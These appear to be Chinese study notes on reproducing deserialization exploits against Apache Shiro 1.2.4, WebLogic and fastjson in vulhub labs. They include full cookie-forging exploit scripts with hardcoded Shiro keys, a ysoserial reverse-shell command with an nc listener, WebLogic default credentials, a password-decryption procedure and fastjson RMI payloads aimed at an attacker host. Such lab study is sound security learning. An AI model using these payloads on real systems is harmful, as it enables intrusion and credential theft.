一、序列化和反序列化
1、序列化:序列化就是把对象转换成字节流,便于计算机保存在内存、文件、数据库中
2、反序列化:就是序列化的逆过程
3、在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()
4、反序列化漏洞:通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
二、shiro1.2.4
1、Apache Shiro是一个Java安全框架,能执行身份验证、授权、密码和会话管理功能。
2、漏洞形成原因:AES加密的密钥Key被强制编码在代码里,而Shiro又是开源软件,意味着所有人都可以通过源代码获取密钥
3、流程:攻击者构造一个恶意代码-->序列化-->AES加密-->base64编码-->通过cookie的rememberMe字段发送。shiro接收字段-->base64解密-->AES解密-->反序列化。
4、漏洞检测(BP抓包),查看返回包是否有rememberMe字段
(1)、未登录的情况下,返回包没有该字段。尝试在请求包中的cookie中加入rememberMe=1后,查看返回包有没有rememberMe字段(若先前请求包的cookie有值,需要清空)
注:需要注意cookie字段的位置
(2)、登录且点了remember,返回包有该字段可以判断可能存在漏洞
5、漏洞利用
(1)、使用工具:liqun工具箱等
(2)、使用python脚本
6、漏洞复现
(1)、验证漏洞是否存在
- dnslog申请一个临时域名
- 使用shiro.py脚本,生成payload.cookie文件
- python3 shiro.py "http://dnslog生成的域名"
- 若报错说没有crypto,下载:pip install pycryptodome
#shiro.py
import sys
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
#key = "Z3VucwAAAAAAAAAAAAAAAA=="
#key = "wGiHplamyXlVB11UXWol8g=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("payload.cookie", "w") as fpw:
print("rememberMe={0}".format(payload.decode()),file=fpw)
将生成的内容复制到请求包的cookie字段中,发送(原来的cookie中的内容不能删掉)
查看dnslog网站,是否存在解析记录。有就可能存在
(2)、漏洞利用
- 攻击者打开监听端口:nc -lvp 520
- 再开一个窗口,开启JRMP(端口设置为9999,随便设)
- java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099CommonsCollections4 "bash -c {echo,base64编码的反弹shell}|{base64,-d}|{bash,-i}"
- 使用so.py构造payload
- python3 so.py 攻击者ip:9999
#so.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
- 将生成的内容复制到请求包的cookie字段中,发送。(前端必须勾选rememberMe)
- 查看是否反射成功
7、靶场:vulhub
8、特殊:Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现
三、Weblogic反序列化漏洞
1、漏洞产生原因:利用rmi远程调用框架绕过黑名单限制,将内容解析,造成反序列化漏洞。
2、weblogic常用端口:7001
3、特征:显示404错误
4、进入后台:http://ip地址:7001/console或在域名后面加上/console/login/LoginForm.jsp
system | password/security |
weblogic | weblogic/Oracle@123 |
wlcsystem | wlcsystem |
admin | admin |
joe | password |
mary | password |
wlpisystem | wlpisystem |
5、使用工具利用:java反序列化漏洞利用工具
6、漏洞利用:靶场为vulhub-weblogic--weak_password
- bp抓包,请求方式后面更改访问URL,为URL+?path=security/SerializedSystemIni.dat发送
- 返回包会得到一串乱码,右键copy to file保存成文件,文件名为:SerializedSystemIni.dat
- bp抓包,请求方式后面更改访问URL,为URL+?path=config/config.xml
- 返回包中的<node-manager-password-encrypted>的值,即为加密后的管理员密码
- 打开jar工具:jave -jar weblogic_decrypt.jar
- 输入以上获得的两个值,点击确定,就会获得密码
注:靶场登录后还有文件上传漏洞
7、扩展:尝试其他weblogic反序列化漏洞
四、fastjson漏洞
1、漏洞产生原因:当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去,只保留接口的类型,最后导致反序列化时无法得到原来的类型。
推荐资料:Fastjson反序列化漏洞原理
2、判断是否存在:
(1)、抓包,发现返回包中有JSON格式或fastjson关键字
(2)、抓包,改变请求格式get/post---》将content-type 请求头修改为 application/json---》将get请求的返回包中的大括号包裹的内容复制到post请求包并发送,看返回包结果是否与请求包中一致。
(3)、抓包,改变请求格式get/post---》将content-type 请求头修改为 application/json---》将POC放到请求包下面并发送,查看dnslog网站是否有解析记录
POC:{"a":{"@type":"java.net.Inet4Address","val":"dnslog生成的域名"}}
3、漏洞利用(与log4j2方法a类似)
与log4j2不同点:bp发送的POC不一样。
#POC
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击者IP地址:端口/Exploit",
"autoCommit":true
}
个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!